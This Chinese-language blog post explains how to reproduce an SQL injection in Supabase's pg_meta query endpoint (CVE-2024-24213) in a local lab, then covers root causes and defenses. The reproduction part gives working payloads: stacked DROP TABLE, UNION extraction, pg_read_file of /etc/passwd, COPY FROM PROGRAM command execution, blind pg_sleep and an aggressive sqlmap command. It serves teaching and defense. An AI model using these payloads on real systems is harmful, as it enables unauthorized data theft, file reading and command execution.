Supabase SQL注入漏洞复现:从原理到防御的深度解析

📅 2026/7/3 12:27:07
Supabase SQL注入漏洞复现:从原理到防御的深度解析
1. 项目概述从一次真实的Supabase SQL注入漏洞复现说起最近在安全研究圈里Supabase这个开源的后端即服务平台BaaS热度一直不低。它基于PostgreSQL提供了开箱即用的数据库、认证、实时订阅等功能对于快速构建应用来说确实方便。但方便的背后如果安全配置不当风险也随之而来。我最近就深入复现了一个与Supabase相关的SQL注入漏洞这个漏洞的根源在于其PostgreSQL组件的一个特定接口。复现过程本身并不复杂但其中涉及到的关于云原生服务、ORM框架使用以及API安全边界的思考却非常值得拿出来和大家聊聊。无论你是正在使用Supabase的开发者还是对Web应用安全、特别是现代API漏洞感兴趣的安全研究员这次复现经历都能给你带来一些直接的参考和警示。我们不会停留在“这里有个注入点”的层面而是会拆解漏洞成因、一步步构建攻击载荷、并深入探讨在类似架构中如何系统性防御。接下来我就把这个漏洞复现的完整过程、技术细节和踩过的坑毫无保留地分享出来。2. 漏洞背景与核心原理拆解2.1 Supabase架构与风险入口分析要理解这个漏洞首先得明白Supabase是怎么工作的。Supabase的核心是PostgreSQL数据库但它不是让你直接裸连数据库。它通过一系列自动生成的RESTful API和GraphQL API基于PostgREST来暴露数据操作接口。同时它还提供了一个叫pg_meta的组件用于管理数据库的元数据比如表结构、列信息、关系等。开发者可以通过Supabase的管理界面或客户端库以一种更“声明式”的方式来操作数据。听起来很安全对吧因为通常你通过Supabase客户端库执行查询它会使用参数化查询或ORM映射理论上能避免SQL注入。但问题就出在Supabase某些管理或调试接口可能会直接或间接暴露底层数据库的查询能力。这次复现的漏洞与CVE-2024-24213相关正是针对/pg_meta/default/query这个端点。从路径就能看出这很可能是一个用于执行原始SQL查询的“后门”或调试接口。在默认或特定配置下如果此接口的访问控制存在缺陷或者对输入的处理不当攻击者就能将恶意SQL语句“注入”到该接口发起的数据库查询中。2.2 SQL注入漏洞原理在此场景下的特殊体现传统的SQL注入发生在应用程序将用户输入直接拼接到SQL语句中的场景。而在Supabase这类BaaS平台中注入点可能“上移”了。攻击者面对的不再是应用业务代码而是平台提供的通用数据操作API。漏洞的触发逻辑可以这样概括入口点攻击者找到了一个可以接受某种输入可能是JSON参数、查询字符串、请求头的API端点例如/pg_meta/default/query。参数传递该端点会将接收到的某个参数比如名为query或sql的字段的值直接传递给PostgreSQL数据库引擎执行。缺乏过滤与拼接平台在将这个参数值交给数据库之前没有进行充分的语法检查、关键字过滤或者错误地使用了字符串拼接而非参数化查询。恶意载荷执行攻击者在该参数中嵌入额外的SQL语句如UNION SELECT,DROP TABLE, 或利用COPY命令进行文件读写/命令执行等这些语句会与平台原本意图执行的查询语句结合在一起被数据库完整执行。关键在于这个/pg_meta/default/query接口本意可能是供管理员或内部系统执行一些维护性查询但它被错误地配置为允许未经严格认证的请求访问或者其输入验证逻辑存在绕过可能。注意在复现或测试任何漏洞时必须在获得明确授权的环境如自己搭建的测试靶场、合法的漏洞众测项目中进行。未经授权对任何系统进行测试都是非法且不道德的。3. 复现环境搭建与前期准备3.1 本地靶场环境搭建为了安全、合法地复现这个漏洞我们需要在本地搭建一个Supabase环境。最推荐的方式是使用Docker Compose这也是Supabase官方提供的本地开发方案。首先确保你的机器上安装了Docker和Docker Compose。然后通过Supabase的CLI工具来初始化项目是一个好办法但为了更清晰地理解组件我们可以直接使用其GitHub仓库提供的docker-compose配置。# 创建一个专门用于测试的目录 mkdir supabase-sqli-test cd supabase-sqli-test # 克隆Supabase的docker-compose配置这里以某个版本为例具体需根据漏洞影响版本调整 git clone --depth 1 https://github.com/supabase/supabase cd supabase/docker # 启动所有服务。这将会启动PostgreSQL、Kong、GoTrue、PostgREST、pg_meta等一堆容器。 docker-compose up -d等待几分钟所有容器启动完成后你可以通过docker-compose ps检查状态。主要关注postgres数据库、kongAPI网关、studio管理界面等核心服务是否运行正常。Supabase Studio管理界面通常运行在http://localhost:3000。3.2 漏洞接口定位与初步探测环境跑起来后我们首先要找到那个可能存在问题的端点。根据漏洞信息目标是/pg_meta/default/query。我们需要确定这个端点完整的访问路径。Supabase的API结构通常经过Kong网关路由。一个典型的访问模式是http://localhost:8000/rest/v1/或http://localhost:8000/pg/v1/。pg_meta服务可能监听特定端口。我们可以通过检查docker-compose.yml文件来寻找线索。# 查看docker-compose.yml中关于pg_meta的服务定义 grep -A 5 -B 5 pg_meta docker-compose.yml你可能会发现pg_meta服务暴露了某个端口比如8080。那么接口地址可能就是http://localhost:8080/pg_meta/default/query。或者它可能通过Kong网关以/pg/v1/meta/query这样的路径暴露。更直接的方法是启动环境后访问Supabase Studio (localhost:3000)使用默认凭证登录通常可以在docker-compose.yml或.env文件中找到然后在浏览器的开发者工具Network标签页中观察当你操作数据库表时可能会看到对类似/pg/v1/query或/pg_meta/的请求。这就是我们的目标。实操心得在本地复现时由于网络架构和配置可能与生产环境有差异漏洞接口的准确路径需要结合日志和网络请求来判定。一个技巧是查看pg_meta容器的日志docker-compose logs pg_meta看看它启动时注册了哪些路由。3.3 工具准备工欲善其事必先利其器。除了常用的浏览器和终端我们还需要一些专业工具Burp Suite / OWASP ZAP用于拦截、重放和修改HTTP请求是构造和发送攻击载荷的利器。Postman / cURL用于快速发送特定的HTTP请求进行测试。sqlmap经典的SQL注入自动化检测工具。在确认存在注入点后可以用它来进一步利用获取数据。但在复现学习时我更推荐手动构造以加深理解。一个简单的测试数据库表在Supabase Studio中创建一个测试表例如test_users (id, username, email)并插入几条记录。这能帮助我们验证注入是否成功执行了查询。4. 漏洞复现过程详解4.1 步骤一正常功能请求分析首先我们需要了解/pg_meta/default/query接口的正常工作方式。假设我们通过抓包或文档得知它接受一个POST请求Body是JSON格式包含一个query字段里面是SQL语句。我们先用一个合法的请求来试探POST /pg_meta/default/query HTTP/1.1 Host: localhost:8080 Content-Type: application/json Authorization: Bearer your-supabase-anon-key # 注意这里可能需要认证 { query: SELECT id, username FROM test_users LIMIT 5 }发送这个请求如果接口工作正常你应该会收到一个JSON响应包含查询结果。关键点注意Authorization头。Supabase通常使用JWT进行认证。anon key是公开的用于客户端匿名访问但受Row Level Security策略限制。service_role key拥有更高权限。在复现时我们需要弄清楚这个漏洞接口需要何种权限。如果它错误地允许了anon key的访问或者根本不需要认证那风险就极大。我们复现时可以先尝试不带Token或者使用公开的anon key。4.2 步骤二注入点探测与验证现在我们尝试在query参数中注入一些特殊的SQL片段看看是否会被执行。经典的探测方法是使用逻辑真/假条件。Payload 1: 基于布尔逻辑的探测{ query: SELECT id, username FROM test_users WHERE id1 AND 11 }如果页面正常返回数据。{ query: SELECT id, username FROM test_users WHERE id1 AND 12 }如果页面返回空或错误与上一条请求响应不同则强烈暗示存在SQL注入因为应用执行了12这个永假条件。Payload 2: 使用SQL注释符绕过有时接口可能会在用户输入的查询前后拼接其他SQL代码。我们需要用注释符--或/* */来“注释掉”后面可能存在的部分。{ query: SELECT id, username FROM test_users WHERE id1; -- }注意分号;在PostgreSQL中用于结束一个语句。如果注入成功--之后的任何平台拼接的SQL都会被忽略。Payload 3: 执行多语句查询Stacked QueriesPostgreSQL支持多语句查询如果后端使用的是允许执行多语句的数据库连接方式如PGconn.exec那么攻击将非常危险。{ query: SELECT id FROM test_users; DROP TABLE test_users; -- }警告在你自己搭建的测试环境中可以尝试但务必谨慎最好先备份或使用一个无关紧要的表。在我们的复现中向/pg_meta/default/query发送类似Payload 3的请求如果返回错误提示table test_users does not exist那么恭喜或者说糟糕多语句注入成功了表被删除了。这直接证明了漏洞的严重性。4.3 步骤三信息获取与数据提取确认注入存在后下一步就是利用它来获取数据库中的敏感信息。这里演示经典的UNION SELECT攻击。首先我们需要确定原始查询返回的列数。使用ORDER BY子句递增排序字段编号直到报错。{ query: SELECT id, username FROM test_users ORDER BY 3 -- }如果ORDER BY 3报错而ORDER BY 2正常说明原查询有2列。然后使用UNION SELECT来让数据库返回我们想要的信息。UNION前后查询的列数必须一致。{ query: SELECT id, username FROM test_users WHERE id1 UNION SELECT current_user, version() -- }这个Payload会尝试将当前数据库用户名和PostgreSQL版本信息作为额外一行数据返回。你需要仔细检查HTTP响应这些信息可能就在返回的JSON数组里。更进一步我们可以查询PostgreSQL的系统目录表pg_catalog.pg_tables来获取所有表名或者查询information_schema.columns来获取列信息。{ query: SELECT id, username FROM test_users UNION SELECT tablename, tableowner FROM pg_catalog.pg_tables WHERE schemanamepublic -- }4.4 步骤四深入利用与命令执行尝试在PostgreSQL中SQL注入的最高风险之一是可能通过某些特殊函数实现命令执行。虽然现代PostgreSQL版本权限收紧但在配置不当的情况下仍有可能。一个著名的函数是pg_read_file和pg_write_file需要超级用户权限以及COPY ... FROM PROGRAM命令需要超级用户或特定权限。例如尝试读取服务器文件{ query: SELECT id, username FROM test_users UNION SELECT pg_read_file(/etc/passwd), null -- }或者如果当前连接用户是超级用户在Supabase的默认anon连接下通常不是但service_role可能是甚至可以尝试命令执行{ query: DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM id; SELECT * FROM cmd_exec; -- }这个Payload会创建一个临时表然后利用COPY ... FROM PROGRAM执行系统命令id并将输出存入表中最后查询出来。重要警示在复现时执行此类高权限操作必须万分小心并且仅在你完全控制的、隔离的测试环境中进行。我们的目的是验证漏洞的危害性而不是进行破坏。5. 漏洞根因分析与深度探讨5.1 代码层面问题溯源虽然我们无法直接看到Supabase商业服务的源码但根据漏洞描述和PostgreSQL的特性我们可以推断问题出在pg_meta服务处理query参数的代码逻辑上。伪代码可能类似于# 危险示例直接拼接用户输入 def handle_query(request): user_sql request.json.get(query) # 没有进行任何有效的过滤或转义 final_sql f/* some prefix */ {user_sql} /* some suffix */ result database.execute(final_sql) # 直接执行 return jsonify(result)正确的做法应该是使用参数化查询Prepared Statements这是防御SQL注入的第一道也是最重要的一道防线。但请注意对于/pg_meta/default/query这种需要执行任意SQL的“查询接口”使用参数化查询来处理整个SQL语句字符串是无效的因为参数化查询只能对查询中的数据值进行参数化不能对SQL语句本身的结构进行参数化。严格的输入白名单校验对于此类“执行SQL”的接口如果必须保留则应严格限制其使用范围如仅限管理员并对输入的SQL进行严格的语法分析或白名单过滤例如只允许SELECT禁止DROP,INSERT,COPY,CREATE等。但这非常复杂且容易出错。最小权限原则执行此类查询的数据库连接必须使用权限最低的账户绝对不能使用超级用户或拥有高危权限的账户。5.2 Supabase服务架构下的放大效应Supabase的架构放大了此类漏洞的影响标准化接口漏洞存在于一个标准化的API端点这意味着攻击者一旦发现方法可以批量扫描互联网上暴露的Supabase实例如果接口公网可达。高权限默认配置为了方便开发者Supabase的service_role密钥通常拥有较高的数据库权限。如果该密钥不慎泄露或被用于此类漏洞接口的认证攻击者就能获得对整个项目数据库的完全控制。元数据暴露pg_meta服务本身管理元数据攻击者利用注入可能不仅能窃取业务数据还能获取整个数据库的结构信息为后续更精准的攻击铺平道路。5.3 与CVE-2024-24213的关联分析根据提供的漏洞库信息CVE-2024-24213描述的是PostgreSQL v15.1通过组件/pg_meta/default/query存在的SQL注入漏洞。这很可能就是我们正在复现的这个漏洞或者是其一个具体实例。它表明问题存在于特定版本的PostgreSQL组件中可能与该版本中pg_meta服务的某个实现缺陷有关。复现时确保你的测试环境使用了受影响版本的PostgreSQL15.1和对应的pg_meta服务这样才能准确还原漏洞条件。6. 防御措施与安全建议6.1 对于Supabase平台使用者开发者立即检查与升级检查你的Supabase项目版本确认是否受此漏洞影响。如果使用自托管方案尽快升级PostgreSQL及相关服务到已修复的安全版本。对于云托管用户关注Supabase官方安全公告并及时确认服务已更新。严格管理API密钥绝不在前端或客户端代码中硬编码或暴露service_role密钥。这个密钥应仅用于服务器端或最受信任的后台服务。使用anon密钥和Row Level Security (RLS)策略来精细控制客户端的数据访问权限。确保RLS策略编写正确默认拒绝所有访问再按需开放。禁用或严格限制高危接口在自托管部署中审查Supabase的配置确认是否有类似/pg_meta/default/query的调试或管理接口暴露在外网。除非绝对必要否则应在生产环境中禁用此类接口或通过严格的网络ACL如只允许内部IP访问和强认证如JWT校验、IP白名单来保护它们。启用Supabase的安全功能启用网络限制只允许你的应用服务器IP访问数据库。定期审计数据库日志查看是否有异常查询模式。使用SSL/ TLS强制连接。6.2 对于应用开发者的通用安全编码实践永远不要信任用户输入这是安全的第一信条。所有来自客户端、API请求、甚至第三方服务的数据都应视为不可信的。使用参数化查询或ORM的安全方法在编写业务代码时无论使用哪种语言和框架对于数据库操作务必使用参数化查询Prepared Statements或ORM框架提供的安全查询方法如Prisma的$queryRaw带参数、TypeORM的createQueryBuilder参数化。// 错误示例拼接 const sql SELECT * FROM users WHERE email ${email}; // 正确示例参数化 const sql SELECT * FROM users WHERE email $1; const values [email];实施最小权限原则为应用程序连接数据库分配仅满足其功能所需的最小权限。不要使用数据库的超级用户账户运行应用。进行安全测试将安全测试纳入开发流程。使用SAST静态应用安全测试工具扫描代码中的漏洞模式使用DAST动态应用安全测试工具或定期进行渗透测试模拟攻击者寻找类似/pg_meta/default/query这样的隐藏接口和注入点。6.3 漏洞修复方案推测对于Supabase平台方修复此类漏洞的方案可能包括移除或重构高危接口重新评估/pg_meta/default/query接口的存在必要性。或许可以通过更安全的管理工具或CLI命令来替代。增强输入验证与过滤如果必须保留该接口则实现一个强大的SQL解析器和白名单机制。例如使用类似pg_query用于解析PostgreSQL SQL语句的库的工具对用户输入的SQL进行解析只允许执行不包含危险操作如数据定义语言DDL、数据控制语言DCL、文件操作等的SELECT查询并且可以限制查询的复杂度和执行时间。强化认证与授权确保该接口需要最高级别的认证如service_role密钥并且增加额外的授权层例如检查调用来源IP、请求频率限制等。数据库连接池权限降级为该接口单独创建一个权限极低的数据库用户即使发生注入其破坏性也有限。7. 复现过程中的常见问题与排查技巧7.1 环境搭建问题问题Docker Compose启动时某些容器如kong或postgres不断重启或失败。排查首先检查日志docker-compose logs service_name。常见原因是端口冲突如3000、8000端口已被占用或内存不足。确保关闭本地可能冲突的PostgreSQL或其它服务。可以尝试修改docker-compose.yml中的端口映射。问题无法通过localhost:3000访问Studio。排查检查studio容器是否正常运行。Supabase Studio启动可能需要较长时间。使用docker-compose logs studio查看启动日志。有时需要等待所有依赖服务如kong、auth就绪后Studio才能完全启动。7.2 漏洞探测无响应或报错问题发送请求到/pg_meta/default/query返回404或403。排查确认接口路径和端口是否正确。使用docker-compose port service_name internal_port查看服务映射到宿主机的具体端口。检查请求头是否需要特定的Authorization或apikey。尝试从Supabase Studio的网络请求中捕获真实的API调用格式。问题注入Payload后返回的是通用错误如500 Internal Server Error而非与SQL语法相关的错误。排查这可能意味着后端有基本的错误处理屏蔽了详细错误信息。这增加了盲注Blind SQL Injection的难度。你需要转而使用基于时间Time-based或布尔Boolean-based的盲注技术进行探测。例如尝试使用pg_sleep函数... AND pg_sleep(5)--观察响应是否延迟5秒。7.3 利用过程受阻问题UNION SELECT攻击时前后列数一致但依然报“类型不匹配”错误。排查UNION要求对应列的数据类型必须兼容。你需要判断原查询各列的数据类型。可以使用NULL来试探因为NULL可以适配任何类型。例如UNION SELECT NULL, NULL, NULL...。确定列数后再逐一将NULL替换为具体值或类型转换函数如::text。问题尝试执行COPY ... FROM PROGRAM或pg_read_file时被拒绝提示权限不足。排查这说明当前数据库连接用户不是超级用户。这是好事说明权限配置相对安全。你的利用可能仅限于当前数据库的查询和数据窃取。此时重点应放在通过注入获取其他表的数据、哈希密码等。7.4 工具使用技巧使用Burp Suite的Intruder模块进行模糊测试当不确定注入点具体位置或过滤规则时可以用Intruder对请求的各个参数进行Fuzz测试快速发现潜在漏洞。结合sqlmap进行自动化利用在手动确认存在注入点后可以将Burp捕获的请求保存为文件用sqlmap加载进行自动化数据提取。sqlmap -r request.txt --batch --level5 --risk3注意在测试环境中使用sqlmap也需谨慎其某些Payload破坏性较强。这次对Supabase SQL注入漏洞的复现让我再次深刻体会到在追求开发效率的现代云原生和BaaS平台中安全依然是一个需要从头到尾、从架构到代码细致考量的核心要素。一个看似为了方便而留下的“后门”接口如果缺乏足够的安全边界就可能成为整个系统沦陷的起点。对于开发者而言理解你所使用的工具和平台潜在的风险点与掌握其使用方法同等重要。安全不是功能上线后才考虑的附加项而是贯穿设计、开发、部署和运维整个生命周期的基石。